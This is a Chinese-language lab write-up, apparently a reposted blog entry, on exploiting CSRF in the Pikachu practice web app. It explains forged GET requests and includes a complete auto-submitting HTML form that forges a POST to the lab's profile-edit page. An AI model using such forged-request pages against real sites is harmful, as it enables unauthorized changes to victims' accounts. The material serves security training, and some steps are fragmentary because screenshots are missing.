pikachu-csrf

csrf

csrf漏洞概念

csrf攻击满足的条件
1,网站没有对个人信息修改的请求进行防csrf处理,导致请求容易被伪造
2,用户在登录后台的情况下,点击了攻击者发送的链接,如果用户没登陆或没点链接都不会成功
csrf与xss的区别

如何确认一个web系统存在csrf漏洞

 模仿用户从登录到信息修改的过程

先登录

点击修改个人信息


随意修改一下信息然后提交

发现有csrf的get请求

所以知道这一点我们就可以利用修改信息的url来进行攻击

随便输出一个弹窗

看一下数据库

可以看到科比的电话已经被我修改了,当此用户登录的时候就会执行这个弹窗

csrf(post)login
当提交方式是post时
和xss的post型攻击差不多,攻击者构造一个自己的攻击站点,当用户点击时,就会向服务器提交post修改个人信息
这里使用别人写的script,放到pikachu-master/doge_csrf上,代码如下
<html>
 2 <head>
 3 <script>
 4 window.onload = function() {
 5   document.getElementById("postsubmit").click();
 6 }
 7 </script>
 8 </head>
 9 <body>
10 <form method="post" action="http://192.168.21.10/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php">
11     <input id="sex" type="text" name="sex" value="boy" />
12     <input id="phonenum" type="text" name="phonenum" value="54213" />
13     <input id="add" type="text" name="add" value="hacker" />
14     <input id="email" type="text" name="email" value="allen@pikachu.com" />
15     <input id="postsubmit" type="submit" name="submit" value="submit" />
16 </form>
17 </body>
18 </html>
不知道上面原因一点击提交就会跳到http://192.168.21.10/pikachu-master/vul/csrf/csrfpost/csrf_get_login.php里面,虽然post.html里面写的是

 

但是思路就是这样,他做完这样的伪装后,你在登录你的账号,里面的信息就会显示post里面的内容

出现上面的原因是因为

你没有登录就打开了post,应该先登录然后把所有csrfget里面的内容复制到csrfpost里面去,然后在打开你弄的网站就可以了

csrf token
这个的难题主要是获取token

 以我现在的能力还不能破解如果想要破解请参考以下内容

这里我只能介绍一下token
Token 是在服务端产生的。如果前端使用用户名/密码向服务端请求认证,服务端认证成功,那么在服务端会返回 Token 给前端。前端可以在每次请求的时候带上 Token 证明自己的合法地位。如果这个 Token 在服务端持久化(比如存入数据库),那它就是一个永久的身份令牌。这里他的token是变得而且每次刷新之后都会又新的值
csrf的防范措施
原文地址:https://www.cnblogs.com/zhao-yang/p/12605023.html